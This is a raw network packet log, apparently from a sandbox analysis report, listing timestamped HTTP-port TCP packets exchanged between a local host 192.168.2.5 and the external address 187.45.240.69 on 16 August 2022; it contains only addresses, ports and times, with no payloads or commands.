Aug 16, 2022 11:44:59.536443949 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.536458969 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.536477089 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.536493063 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.536509991 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.536540031 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.536592007 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.540502071 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.674137115 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.674175024 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.674199104 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.674221039 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.674242973 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.674252987 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.674263954 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.674300909 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.674324989 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.684775114 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.759645939 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759681940 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759706974 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759731054 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759754896 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759758949 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.759777069 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759835958 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.759855986 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759881020 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759900093 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759918928 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.759968042 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.759994984 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760011911 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760020018 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760066032 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760067940 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760094881 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760107040 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760118008 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760160923 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760168076 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760231972 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760282993 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760338068 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760351896 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760379076 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760400057 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760404110 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760430098 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760438919 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760454893 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.760479927 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.760533094 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.806621075 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.926737070 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926772118 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926799059 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926825047 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926851034 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926873922 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926898003 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926923037 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926947117 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.926970005 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.927038908 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.927074909 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.927083015 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.927108049 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.927126884 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:59.927139997 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.927215099 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:59.931888103 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.023684025 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.023730993 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.023757935 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.023782969 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.023855925 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.023902893 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.023915052 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024003029 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024050951 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024116993 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024163008 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024193048 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024240017 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024274111 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024322033 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024359941 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024405003 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024440050 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024487972 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024528027 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024576902 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024620056 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024667025 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024751902 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024816036 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024817944 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024868011 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.024940014 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.024985075 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.025027037 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.025073051 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:00.174053907 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:00.174148083 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:03.313183069 CEST	30101	49819	192.168.2.1	192.168.2.5
Aug 16, 2022 11:45:05.023741961 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:05.023844004 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:05.179305077 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:05.179478884 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.524775982 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.525648117 CEST	49797	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.539211988 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.540517092 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.743438005 CEST	80	49797	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:07.766135931 CEST	80	49795	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:07.768665075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:07.768826008 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.771193027 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:07.771419048 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.780020952 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:07.780038118 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.008908033 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009510994 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009536028 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009560108 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009582043 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009607077 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009629965 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009651899 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009658098 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.009675026 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009697914 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009720087 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.009809971 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.010797977 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011382103 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011405945 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011429071 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011451006 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011475086 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011497021 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011519909 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011544943 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011565924 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011567116 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.011589050 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.011694908 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.238656044 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238692045 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238715887 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238756895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.238785982 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.238790989 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.238846064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238893986 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238930941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238940001 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.238966942 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.238976955 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239001989 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239010096 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239039898 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239042997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239077091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239078045 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239111900 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239115000 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239154100 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239171028 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239182949 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239192009 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239212990 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239222050 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239240885 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239250898 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239269972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239280939 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239298105 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239309072 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239326000 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239335060 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239367008 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239392042 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239427090 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.239435911 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.239466906 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.242417097 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242454052 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242479086 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242501974 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.242505074 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242520094 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.242531061 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242557049 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242568016 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.242580891 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.242624044 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.246583939 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468163013 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468214035 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468252897 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468306065 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468307972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468348026 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468358994 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468415976 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468470097 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468487978 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468493938 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468508959 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468547106 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468581915 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468620062 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468657970 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468694925 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468708038 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468728065 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468732119 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468750954 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468790054 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468796015 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468831062 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468841076 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468867064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468904972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468940973 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.468966961 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468975067 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.468981981 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469008923 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469018936 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469044924 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469055891 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469077110 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469093084 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469119072 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469130039 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469161034 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469183922 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469191074 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469233990 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469238043 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469286919 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469289064 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469333887 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469335079 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469373941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469397068 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469424963 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469435930 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469468117 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469479084 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469521999 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469527006 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469563961 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469615936 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469618082 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469656944 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469665051 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469692945 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469701052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469729900 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469739914 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469767094 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469777107 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469804049 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469815969 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.469841957 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.469890118 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.479273081 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.479402065 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.499972105 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698638916 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698661089 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698679924 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698697090 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698714972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698719025 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698733091 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698750973 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698762894 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698769093 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698782921 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698807001 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698826075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698844910 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698863983 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698877096 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698880911 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698920012 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698925018 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698961020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698975086 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698982000 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.698997021 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.698998928 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699017048 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699018955 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699035883 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699037075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699054003 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699071884 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699101925 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699119091 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699125051 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699157000 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699161053 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699193954 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699194908 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699212074 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699229956 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699235916 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699248075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699255943 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699265957 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699280977 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699285030 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699302912 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699310064 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699321032 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699340105 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699341059 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699377060 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699419975 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699489117 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699559927 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699579954 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699598074 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699606895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699615002 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699632883 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699642897 CEST	49837	80	192.168.2.5	187.45.240.69
